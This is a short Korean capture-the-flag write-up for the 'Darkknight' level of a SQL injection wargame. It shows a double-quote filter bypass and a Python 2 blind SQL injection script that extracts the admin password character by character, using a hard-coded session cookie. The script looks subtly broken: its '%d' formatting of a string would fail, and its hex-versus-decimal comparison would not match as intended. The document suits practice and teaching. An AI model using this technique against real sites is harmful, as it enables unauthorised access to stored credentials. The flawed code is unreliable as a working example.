12. Darkknight

서론

---

NULL

진행과정

---

싱글 쿼터가 필터링 되어있지만, 더블쿼터는 이용가능하다.

?no=0 || id like "admin"

import urllib, httplib
conn = httplib.HTTPConnection("los.eagle-jump.org")
url = "/darkknight_f76e2eebfeeeec2b7699a9ae976f574d.php?no=0"
Headers = {"Cookie":"PHPSESSID=shkfbb2civ1bvup6htng6k9ln4"}
PW = ""
for i in range(1, 9) :
    for j in range(48, 123) :
        payload =' || id like "admin" %26%26 hex(mid(pw, '+str(i)+", 1)) like "+str(j)
        conn.request("GET", url+payload, "", Headers)
        k = conn.getresponse().read()
        if "Hello admin" in k :
            print "[*]Found %d" % str(hex(j))
            PW+=str(hex(j))
            break
print "Password = %s" % PW

?pw=1c62ba6f

# REF

---

NULL